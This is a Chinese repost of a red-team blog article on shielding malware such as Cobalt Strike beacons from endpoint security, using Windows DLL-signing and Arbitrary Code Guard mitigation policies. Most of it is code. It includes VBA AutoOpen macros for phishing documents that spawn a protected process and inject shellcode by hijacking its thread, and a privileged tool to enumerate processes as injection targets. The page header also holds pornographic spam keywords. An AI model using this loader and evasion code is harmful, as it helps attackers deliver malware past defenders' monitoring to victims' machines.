压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

如何通過blockdlls及ACG保護惡意軟件

0x00 前言

最新版的Cobalt Strike中添加了blockdlls命令,該命令可以避免生成的進程加載非微軟簽名的DLL,從而達到保護效果。這種方法可以阻止端點安全產品通過DLL加載用戶模式代碼,避免安全產品hook可疑函數并報告可疑操作。

經過一番討論并在推特上探討該命令的實現原理后,有小伙伴提出問題,想了解是否能不依賴Cobalt Strike來使用這種技術,因此在本文中我將進一步探索該功能,向大家介紹blockdlls的內部工作原理、如何使用該方法在beacon啟動前保護惡意軟件,也探索了是否有其他進程安全選項,可以幫助我們防御端點安全產品的監聽機制。

0x01 blockdlls原理

Cobalt Strike從3.14版本開始引入blockdlls,該功能可以避免加載非微軟簽名的DLL,用來保護由beacon生成的任何子進程。為了利用該功能,我們可以在某個活動session上使用blockdlls命令生成子進程(比如我們可以使用spawn命令):

一旦子進程成功生成,我們可以通過ProcessHacker之類的工具查看子進程的保護狀態:

設置該標志后,如果某個未經微軟簽名的DLL想載入當前進程,就會出現錯誤,我們可以看到比較詳細的出錯信息,如下所示:

那么Cobalt Strike如何實現該功能呢?如果我們分析CS beacon程序,可以找到其中引用了UpdateProcThreadAttribute

值為0x20007Attribute參數實際上對應的是PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,而0x100000000000參數值對應的是PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON。因此這里Cobalt Strike的處理邏輯就是配合STARTUPINFOEX結構體來使用CreateProcess?API,該結構體中包含防御策略,可以用來阻止未經微軟簽名的DLL。

如果我們想在自己的工具中重新實現該代碼,我們可以如下代碼來完成:

#include <Windows.h>

int main()
{
    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
    SIZE_T size = 0;
    BOOL ret;

    // Required for a STARTUPINFOEXA
    ZeroMemory(&si, sizeof(si));
    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;

    // Get the size of our PROC_THREAD_ATTRIBUTE_LIST to be allocated
    InitializeProcThreadAttributeList(NULL, 1, 0, &size);

    // Allocate memory for PROC_THREAD_ATTRIBUTE_LIST
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
        GetProcessHeap(),
        0,
        size
    );

    // Initialise our list 
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);

    // Enable blocking of non-Microsoft signed DLLs
    DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;

    // Assign our attribute
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL);

    // Finally, create the process
    ret = CreateProcessA(
        NULL,
        (LPSTR)"C:\\Windows\\System32\\cmd.exe",
        NULL,
        NULL,
        true,
        EXTENDED_STARTUPINFO_PRESENT,
        NULL,
        NULL,
        reinterpret_cast<LPSTARTUPINFOA>(&si),
        &pi
    );
}

0x02 縮小危險區域

現在我們已經知道Cobalt Strike對該功能的內部實現原理,但在實際滲透過程中,可能任意一個DLL就可以給我們造成阻礙。這里我們來看一下典型的釣魚場景,在該場景中,我們嘗試通過啟用宏的文檔來投遞Cobalt Strike beacon:

紅色區域為未受blockdlls保護的進程,而在藍色區域為經過Cobalt Strike保護所生成的子進程。這里我們顯然會面臨一些風險,比如安全產品可以將DLL載入紅色區域進程中,從而監控我們的行為。

然而,如果我們使用PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON選項,就可以縮小這里的防護空白區域。在這個場景中,我們是在Word文檔上下文中處理最初的payload,因此我們可以考慮將相應代碼移植到VBA中:

' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled
' by @_xpn_
'
' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro

Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const MAX_PATH = 260
Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007
Const MAXIMUM_SUPPORTED_EXTENSION = 512
Const SIZE_OF_80387_REGISTERS = 80
Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const PAGE_READWRITE = &H4
Const PAGE_EXECUTE_READWRITE = &H40
Const CONTEXT_FULL = &H10007

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUP_INFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Byte
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type STARTUPINFOEX
    STARTUPINFO As STARTUP_INFO
    lpAttributelist As LongPtr
End Type

Private Type DWORD64
    dwPart1 As Long
    dwPart2 As Long
End Type

Private Type FLOATING_SAVE_AREA
    ControlWord As Long
    StatusWord As Long
    TagWord As Long
    ErrorOffset As Long
    ErrorSelector As Long
    DataOffset As Long
    DataSelector As Long
    RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte
    Spare0 As Long
End Type

Private Type CONTEXT
    ContextFlags As Long
    Dr0 As Long
    Dr1 As Long
    Dr2 As Long
    Dr3 As Long
    Dr6 As Long
    Dr7 As Long
    FloatSave As FLOATING_SAVE_AREA
    SegGs As Long
    SegFs As Long
    SegEs As Long
    SegDs As Long
    Edi As Long
    Esi As Long
    Ebx As Long
    Edx As Long
    Ecx As Long
    Eax As Long
    Ebp As Long
    Eip As Long
    SegCs As Long
    EFlags As Long
    Esp As Long
    SegSs As Long
    ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As Byte
End Type

Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
    ByVal lpApplicationName As String, _
    ByVal lpCommandLine As String, _
    lpProcessAttributes As Long, _
    lpThreadAttributes As Long, _
    ByVal bInheritHandles As Long, _
    ByVal dwCreationFlags As Long, _
    lpEnvironment As Any, _
    ByVal lpCurrentDriectory As String, _
    ByVal lpStartupInfo As LongPtr, _
    lpProcessInformation As PROCESS_INFORMATION _
) As Long

Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
    ByVal lpAttributelist As LongPtr, _
    ByVal dwAttributeCount As Integer, _
    ByVal dwFlags As Integer, _
    ByRef lpSize As Integer _
) As Boolean

Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
    ByVal lpAttributelist As LongPtr, _
    ByVal dwFlags As Integer, _
    ByVal lpAttribute As Long, _
    ByVal lpValue As LongPtr, _
    ByVal cbSize As Integer, _
    ByRef lpPreviousValue As Integer, _
    ByRef lpReturnSize As Integer _
) As Boolean

Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _
    ByVal hProcess As LongPtr, _
    ByVal lpBaseAddress As Long, _
    ByRef lpBuffer As Any, _
    ByVal nSize As Long, _
    ByVal lpNumberOfBytesWritten As Long _
) As Boolean

Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long

Private Declare PtrSafe Function GetThreadContext Lib "kernel32.dll" ( _
    ByVal hThread As Long, _
    lpContext As CONTEXT _
) As Long

Private Declare Function SetThreadContext Lib "kernel32.dll" ( _
    ByVal hThread As Long, _
    lpContext As CONTEXT _
) As Long

Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
    ByVal hHeap As LongPtr, _
    ByVal dwFlags As Long, _
    ByVal dwBytes As Long _
) As LongPtr

Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr

Private Declare Function VirtualAllocEx Lib "kernel32" ( _
    ByVal hProcess As Long, _
    ByVal lpAddress As Long, _
    ByVal dwSize As Long, _
    ByVal flAllocationType As Long, _
    ByVal flProtect As Long _
) As Long

Sub AutoOpen()

    Dim pi As PROCESS_INFORMATION
    Dim si As STARTUPINFOEX
    Dim nullStr As String
    Dim pid, result As Integer
    Dim threadAttribSize As Integer
    Dim processPath As String
    Dim val As DWORD64
    Dim ctx As CONTEXT
    Dim alloc As Long
    Dim shellcode As Variant
    Dim myByte As Long

    ' Shellcode goes here (jmp $)
    shellcode = Array(&HEB, &HFE)

    ' Path of process to spawn
    processPath = "C:\\windows\\system32\\notepad.exe"

    ' Specifies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
    val.dwPart1 = 0
    val.dwPart2 = &H1000

    ' Initialize process attribute list
    result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
    si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
    result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)

    ' Set our mitigation policy
    result = UpdateProcThreadAttribute( _
        si.lpAttributelist, _
        0, _
        PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, _
        VarPtr(val), _
        Len(val), _
        ByVal 0&, _
        ByVal 0& _
        )

    si.STARTUPINFO.cb = LenB(si)
    si.STARTUPINFO.dwFlags = 1

    ' Spawn our process which will only allow MS signed DLL's
    result = CreateProcess( _
        nullStr, _
        processPath, _
        ByVal 0&, _
        ByVal 0&, _
        1&, _
        &H80014, _
        ByVal 0&, _
        nullStr, _
        VarPtr(si), _
        pi _
    )

    ' Alloc memory (RWX for this POC, because... yolo) in process to write our shellcode to
    alloc = VirtualAllocEx( _
        pi.hProcess, _
        0, _
        11000, _
        MEM_COMMIT + MEM_RESERVE, _
        PAGE_EXECUTE_READWRITE _
    )

    ' Write our shellcode
    For offset = LBound(shellcode) To UBound(shellcode)
        myByte = shellcode(offset)
        result = WriteProcessMemory(pi.hProcess, alloc + offset, myByte, 1, ByVal 0&)
    Next offset

    ' Point EIP register to allocated memory
    ctx.ContextFlags = CONTEXT_FULL
    result = GetThreadContext(pi.hThread, ctx)
    ctx.Eip = alloc
    result = SetThreadContext(pi.hThread, ctx)

    ' Resume execution
    ResumeThread (pi.hThread)

End Sub

正確使用后,我們可以縮小未經保護的區域,將訪問范圍限制到最初的執行向量中,從而減少被檢測到的風險:

但現在Word進程還在紅色區域中,如何處理?其實我們有各種方法,比如,我們可以使用ProcessSignaturePolicy參數來調用SetMitigationPolicy,這樣就能在運行時引入防護策略,也就是說不需要通過CreateProcess來重新執行。然而在這個時間節點,很可能有些DLL在我們的VBA運行之前已經加載到Word的地址空間中,如果我們想進一步控制該進程,觸發某些可疑的API調用,就可能增加被檢測到的風險。

0x03 Arbitrary Code Guard

大家可能會好奇標題中的ACG(Arbitrary Code Guard)是什么意思,這里稍微介紹下,ACG是另一種緩解機制,可以阻止代碼修改以及/或者分配內存中的可執行頁面。

為了實際演示這種緩解策略效果,我們可以創建一個小程序,嘗試使用SetMitigationPolicy來添加ACG,測試幾個用例:

#include <iostream>
#include <Windows.h>
#include <processthreadsapi.h>

int main()
{
    STARTUPINFOEX si;
    DWORD oldProtection;

    PROCESS_MITIGATION_DYNAMIC_CODE_POLICY policy;
    ZeroMemory(&policy, sizeof(policy));
    policy.ProhibitDynamicCode = 1;

    void* mem = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (mem == NULL) {
        printf("[!] Error allocating RWX memory\n");
    }
    else {
        printf("[*] RWX memory allocated: %p\n", mem);
    }

    printf("[*] Now running SetProcessMitigationPolicy to apply PROCESS_MITIGATION_DYNAMIC_CODE_POLICY\n");

    // Set our mitigation policy
    if (SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &policy, sizeof(policy)) == false) {
        printf("[!] SetProcessMitigationPolicy failed\n");
        return 0;
    }

    // Attempt to allocate RWX protected memory (this will fail)
    mem = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (mem == NULL) {
        printf("[!] Error allocating RWX memory\n");
    }
    else {
        printf("[*] RWX memory allocated: %p\n", mem);
    }

    void* ntAllocateVirtualMemory = GetProcAddress(LoadLibraryA("ntdll.dll"), "NtAllocateVirtualMemory");

    // Let's also try a VirtualProtect to see if we can update an existing page to RWX
    if (!VirtualProtect(ntAllocateVirtualMemory, 4096, PAGE_EXECUTE_READWRITE, &oldProtection)) {
        printf("[!] Error updating NtAllocateVirtualMemory [%p] memory to RWXn", ntAllocateVirtualMemory);
    }
    else {
        printf("[*] NtAllocateVirtualMemory [%p] memory updated to RWX\n", ntAllocateVirtualMemory);
    }
}

如果編譯并執行該POC,我們可以看到如下輸出結果:

這里可以看到,當使用SetProcessMitigationPolicy后,如果嘗試在內存中分配一個RWX頁面就會出現錯誤,此外如果想調用VirtualProtect來修改內存保護時也會出錯,這一點與我們的預期相符。

那么我們為啥需要ACG?這是因為有些情況下,EDR注入的DLL的確經過微軟簽名,比如@Sektor7Net就提到過Crowdstrike Falcon包含這樣一個DLL,該DLL并不會受PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON所影響:

許多EDR產品經常會在用戶空間hook一些有趣的函數(大家可以參考我之前關于Cylance的一篇分析文章)。由于hook操作通常需要修改已有的可執行頁面,因此需要使用VirtualProtect之類的調用來更新內存保護。如果我們能夠阻止這些產品創建RWX內存頁面,我們有可能迫使經過微軟簽名的DLL無法成功加載。

為了能在我們的VBA代碼中實現這種技術,我們只需要添加PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON選項,即可啟動這種保護:

' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON and PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled
' by @_xpn_
'
' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro

Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const MAX_PATH = 260
Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007
Const MAXIMUM_SUPPORTED_EXTENSION = 512
Const SIZE_OF_80387_REGISTERS = 80
Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const PAGE_READWRITE = &H4
Const PAGE_EXECUTE_READWRITE = &H40
Const CONTEXT_FULL = &H10007

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUP_INFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Byte
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type STARTUPINFOEX
    STARTUPINFO As STARTUP_INFO
    lpAttributelist As LongPtr
End Type

Private Type DWORD64
    dwPart1 As Long
    dwPart2 As Long
End Type

Private Type FLOATING_SAVE_AREA
    ControlWord As Long
    StatusWord As Long
    TagWord As Long
    ErrorOffset As Long
    ErrorSelector As Long
    DataOffset As Long
    DataSelector As Long
    RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte
    Spare0 As Long
End Type

Private Type CONTEXT
    ContextFlags As Long
    Dr0 As Long
    Dr1 As Long
    Dr2 As Long
    Dr3 As Long
    Dr6 As Long
    Dr7 As Long
    FloatSave As FLOATING_SAVE_AREA
    SegGs As Long
    SegFs As Long
    SegEs As Long
    SegDs As Long
    Edi As Long
    Esi As Long
    Ebx As Long
    Edx As Long
    Ecx As Long
    Eax As Long
    Ebp As Long
    Eip As Long
    SegCs As Long
    EFlags As Long
    Esp As Long
    SegSs As Long
    ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As Byte
End Type

Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
    ByVal lpApplicationName As String, _
    ByVal lpCommandLine As String, _
    lpProcessAttributes As Long, _
    lpThreadAttributes As Long, _
    ByVal bInheritHandles As Long, _
    ByVal dwCreationFlags As Long, _
    lpEnvironment As Any, _
    ByVal lpCurrentDriectory As String, _
    ByVal lpStartupInfo As LongPtr, _
    lpProcessInformation As PROCESS_INFORMATION _
) As Long

Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
    ByVal lpAttributelist As LongPtr, _
    ByVal dwAttributeCount As Integer, _
    ByVal dwFlags As Integer, _
    ByRef lpSize As Integer _
) As Boolean

Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
    ByVal lpAttributelist As LongPtr, _
    ByVal dwFlags As Integer, _
    ByVal lpAttribute As Long, _
    ByVal lpValue As LongPtr, _
    ByVal cbSize As Integer, _
    ByRef lpPreviousValue As Integer, _
    ByRef lpReturnSize As Integer _
) As Boolean

Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _
    ByVal hProcess As LongPtr, _
    ByVal lpBaseAddress As Long, _
    ByRef lpBuffer As Any, _
    ByVal nSize As Long, _
    ByVal lpNumberOfBytesWritten As Long _
) As Boolean

Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long

Private Declare PtrSafe Function GetThreadContext Lib "kernel32.dll" ( _
    ByVal hThread As Long, _
    lpContext As CONTEXT _
) As Long

Private Declare Function SetThreadContext Lib "kernel32.dll" ( _
    ByVal hThread As Long, _
    lpContext As CONTEXT _
) As Long

Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
    ByVal hHeap As LongPtr, _
    ByVal dwFlags As Long, _
    ByVal dwBytes As Long _
) As LongPtr

Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr

Private Declare Function VirtualAllocEx Lib "kernel32" ( _
    ByVal hProcess As Long, _
    ByVal lpAddress As Long, _
    ByVal dwSize As Long, _
    ByVal flAllocationType As Long, _
    ByVal flProtect As Long _
) As Long

Sub AutoOpen()

    Dim pi As PROCESS_INFORMATION
    Dim si As STARTUPINFOEX
    Dim nullStr As String
    Dim pid, result As Integer
    Dim threadAttribSize As Integer
    Dim processPath As String
    Dim val As DWORD64
    Dim ctx As CONTEXT
    Dim alloc As Long
    Dim shellcode As Variant
    Dim myByte As Long

    ' Shellcode goes here (jmp $)
    shellcode = Array(&HEB, &HFE)

    ' Path of process to spawn
    processPath = "C:\\windows\\system32\\notepad.exe"

    ' Initialize process attribute list
    result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
    si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
    result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)

    ' Specifies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
    ' and PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON
    val.dwPart1 = 0
    val.dwPart2 = &H1010

    ' Set our mitigation policy
    result = UpdateProcThreadAttribute( _
        si.lpAttributelist, _
        0, _
        PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, _
        VarPtr(val), _
        Len(val), _
        ByVal 0&, _
        ByVal 0& _
        )

    si.STARTUPINFO.cb = LenB(si)
    si.STARTUPINFO.dwFlags = 1

    ' Spawn our process which will only allow MS signed DLL's and disallow dynamic code
    result = CreateProcess( _
        nullStr, _
        processPath, _
        ByVal 0&, _
        ByVal 0&, _
        1&, _
        &H80014, _
        ByVal 0&, _
        nullStr, _
        VarPtr(si), _
        pi _
    )

    ' Alloc memory (RWX for this POC, as this isn't blocked from alloc outside the process (and ... yolo)) in process to write our shellcode to
    alloc = VirtualAllocEx( _
        pi.hProcess, _
        0, _
        11000, _
        MEM_COMMIT + MEM_RESERVE, _
        PAGE_EXECUTE_READWRITE _
    )

    ' Write our shellcode
    For Offset = LBound(shellcode) To UBound(shellcode)
        myByte = shellcode(Offset)
        result = WriteProcessMemory(pi.hProcess, alloc + Offset, myByte, 1, ByVal 0&)
    Next Offset

    ' Point EIP register to allocated memory
    ctx.ContextFlags = CONTEXT_FULL
    result = GetThreadContext(pi.hThread, ctx)
    ctx.Eip = alloc
    result = SetThreadContext(pi.hThread, ctx)

    ' Resume execution
    ResumeThread (pi.hThread)

End Sub

這種方法對保護我們生成的進程非常有用,但如果我們希望將我們自己的代碼注入受ACG保護的某個進程該如何處理?我經常聽到一種誤解,就是我們無法將代碼注入被ACG保護的進程,因為我們需要可寫且可執行的某種內存才能完成該操作。然而實際上ACG并不會阻止遠程進程調用,比如VirtualAllocEx之類的函數。

比如,如果我們使用一些簡單的shellcode來啟動cmd.exe,然后將shellcode代碼注入受ACG保護的某個進程,我們可以看到這些操作能順利執行:

需要注意的是,由于需要依賴分配內存頁面并將頁面修改為RWX狀態,因此目前這種方法無法適用于Cobalt Strike beacon。我嘗試過通過其他選項來繞過這個限制(主要是各種userwx選項),但目前修改內存似乎還需要滿足可寫且后續可執行狀態。

0x04 注意事項

在將這些技術應用到實際環境中前,我們還需要考慮這種方式可能會對我們的操作安全性造成哪些影響。比如,如果我們開始生成任意進程,然后全部使用PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON來保護這些進程,那么防御方可能會注意到突然出現的隨機進程竟然已經部署了一些防護策略。

為了澄清如何更好地應用這種技術,我們需要枚舉已有的哪些進程帶有策略。現在我們可以使用Get-ProcessMitigationPowershell cmdlet來返回注冊表中定義的所有策略,然而我們知道有其他方法能夠在運行時對進程啟動保護機制,比如SetMitigationPolicy?API,我們也可以通過CreateProcessA來簡單生成任意進程(如前文所述)。

為了確保我們能夠正確處理每個進程,我們可以構造一個簡單的工具,使用GetProcessMitigationPolicy來識別已部署的策略:

#include <iostream>
#include <Windows.h>
#include <tlhelp32.h>
#include <processthreadsapi.h>

bool SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege);

void GetProtection(int pid, const char *exe) {

    PROCESS_MITIGATION_DYNAMIC_CODE_POLICY dynamicCodePolicy;
    PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY signaturePolicy;

    HANDLE pHandle = OpenProcess(PROCESS_QUERY_INFORMATION, false, pid);
    if (pHandle == INVALID_HANDLE_VALUE) {
        printf("[!] Error opening handle to %d\n", pid);
        return;
    }

    // Actually retrieve the mitigation policy for ACG
    if (!GetProcessMitigationPolicy(pHandle, ProcessDynamicCodePolicy, &dynamicCodePolicy, sizeof(dynamicCodePolicy))) {
        printf("[!] Could not enum PID %d [%d]\n", pid, GetLastError());
        return;
    }

    if (dynamicCodePolicy.ProhibitDynamicCode) {
        printf("[%s] - ProhibitDynamicCode\n", exe);
    }

    if (dynamicCodePolicy.AllowRemoteDowngrade) {
        printf("[%s] - AllowRemoteDowngrade\n", exe);
    }

    if (dynamicCodePolicy.AllowThreadOptOut) {
        printf("[%s] - AllowThreadOptOut\n", exe);
    }

    // Retrieve mitigation policy for loading arbitrary DLLs
    if (!GetProcessMitigationPolicy(pHandle, ProcessSignaturePolicy, &signaturePolicy, sizeof(signaturePolicy))) {
        printf("Could not enum PID %d\n", pid);
        return;
    }

    if (signaturePolicy.AuditMicrosoftSignedOnly) {
        printf("[%s] AuditMicrosoftSignedOnly\n", exe);
    }

    if (signaturePolicy.AuditStoreSignedOnly) {
        printf("[%s] - AuditStoreSignedOnly\n", exe);
    }

    if (signaturePolicy.MicrosoftSignedOnly) {
        printf("[%s] - MicrosoftSignedOnly\n", exe);
    }

    if (signaturePolicy.MitigationOptIn) {
        printf("[%s] - MitigationOptIn\n", exe);
    }

    if (signaturePolicy.StoreSignedOnly) {
        printf("[%s] - StoreSignedOnly\n", exe);
    }
}

int main()
{
    HANDLE snapshot;
    PROCESSENTRY32 ppe;

    HANDLE accessToken;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &accessToken)) {
        printf("[!] Error opening process token\n");
        return 1;
    }

    // Provide ourself with SeDebugPrivilege to increase our enumeration chances
    SetPrivilege(accessToken, SE_DEBUG_NAME);

    // Prepare handle to enumerate running processes
    snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        printf("[!] Error: CreateToolhelp32Snapshot\n");
        return 2;
    }

    ppe.dwSize = sizeof(PROCESSENTRY32);

    Process32First(snapshot, &ppe);

    do {
        // Enumerate process mitigations
        GetProtection(ppe.th32ProcessID, ppe.szExeFile);
    } while (Process32Next(snapshot, &ppe));
}

bool SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege) {

    TOKEN_PRIVILEGES tp;
    LUID luid;

    if (!LookupPrivilegeValue(
        NULL,
        lpszPrivilege,
        &luid))
    {
        printf("[!] LookupPrivilegeValue error: %u\n", GetLastError());
        return FALSE;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(
        hToken,
        FALSE,
        &tp,
        sizeof(TOKEN_PRIVILEGES),
        (PTOKEN_PRIVILEGES)NULL,
        (PDWORD)NULL))
    {
        printf("[!] AdjustTokenPrivileges error: %u\n", GetLastError());
        return FALSE;
    }

    return TRUE;
}

在我的Windows 10測試環境中運行該程序后,我找到了已部署防護措施的幾個進程,如下所示:

這些進程大多屬于Edge有關,這非常正常,但我們也有其他一些可選項,比如fontdrvhost.exedllhost.exe,這些進程可以作為目標。

希望本文能給大家提供一些思路,拓展生成并注入payload的方法,如果在實際環境中仔細使用,我相信這種技術能給防御方造成不少困擾。

原文地址:https://blog.xpnsec.com/protecting-your-malware/

上一篇:印度借記卡/信用卡記錄最大數據庫暗網售賣

下一篇:glibc-2.29 large bin attack 原理